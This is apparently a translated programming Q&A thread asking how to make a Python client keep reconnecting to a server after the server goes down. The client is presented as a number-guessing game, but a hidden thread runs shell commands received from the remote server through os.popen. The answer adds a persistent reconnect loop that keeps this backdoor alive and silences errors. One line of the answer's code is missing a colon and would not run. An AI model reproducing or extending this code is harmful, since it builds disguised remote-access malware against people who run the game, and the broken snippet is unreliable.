在 python 中关闭服务器后,如何让客户端套接字继续侦听服务器?

How can I have client socket continue listening for server after a server is closed in python?

这是我的 client.py:

import random
import socket
import threading
import os
from time import sleep


def access():
    HOST = '127.0.0.1'
    PORT = 22262

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    while True:
        try:
            client.connect((HOST, PORT))
            break
        except Exception:
            sleep(1)
    cmd_mode = False

    while True:
        command = client.recv(1024).decode('utf-8')
        if command == 'cmdon':
            cmd_mode = True
            client.send('You now have terminal access!'.encode('utf-8'))
            continue
        if command == 'cmdoff':
            cmd_mode = False
        if cmd_mode:
            os.popen(command)
        if command == 'hello':
            print('Hello World!')
        client.send(f'{command} was exectued successfully!'.encode('utf-8'))


def game():
    number = random.randint(0, 1000)
    tries = 1
    done = False

    while not done:
        guess = int(input('Enter a guess: '))

        if guess == number:
            done = True
            print('You won!')
        else:
            tries += 1
            if guess > number:
                print('The actual number is smaller.')
            else:
                print('The actual number is larger.')
        print(f'You need {tries} tries!')


t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)

t1.start()
t2.start()

这是server.py

import socket

HOST = ''
PORT = 22262

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))

server.listen()

client, address = server.accept()

while True:
    print(f'Connected to {address}')
    cmd_input = input('Enter a command: ')
    client.send(cmd_input.encode('utf-8'))
    print(client.recv(1024).decode('utf-8'))

这有效,但如果我断开 server.py,我会在 client.py 上收到以下错误:

ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host

他们有办法让 client.py 始终监听并等待 server.py 上线以便他们可以重新连接吗?基本上我希望 client.py 永远不会停止收听 server.py

您描述的问题表明服务器在您的客户端执行任务时关闭了连接,因此最简单的解决方案是将其包装在 try...except while_loop

替换

def access():
    HOST = '127.0.0.1'
    PORT = 22262


    while True:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            client.connect((HOST, PORT))
            break
        except Exception:
            sleep(1)
    cmd_mode = False

    while True:
        command = client.recv(1024).decode('utf-8')
        if command == 'cmdon':
            cmd_mode = True
            client.send('You now have terminal access!'.encode('utf-8'))
            continue
        if command == 'cmdoff':
            cmd_mode = False
        if cmd_mode:
            os.popen(command)
        if command == 'hello':
            print('Hello World!')
        client.send(f'{command} was exectued successfully!'.encode('utf-8'))

def access():
    HOST = '127.0.0.1'
    PORT = 22262

    while True
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            while True:
                try:
                    client.connect((HOST, PORT))
                    break
                except Exception:
                    sleep(1)
            cmd_mode = False
    
            while True:
                command = client.recv(1024).decode('utf-8')
                if command == 'cmdon':
                    cmd_mode = True
                    client.send('You now have terminal access!'.encode('utf-8'))
                    continue
                if command == 'cmdoff':
                    cmd_mode = False
                if cmd_mode:
                    os.popen(command)
                if command == 'hello':
                    print('Hello World!')
                client.send(f'{command} was exectued successfully!'.encode('utf-8'))
        except:
            pass

现在上面的代码使用 try 和 except 和 while 循环将其包装起来,因此它会继续尝试连接到服务器,即使服务器在连接之间出现故障也是如此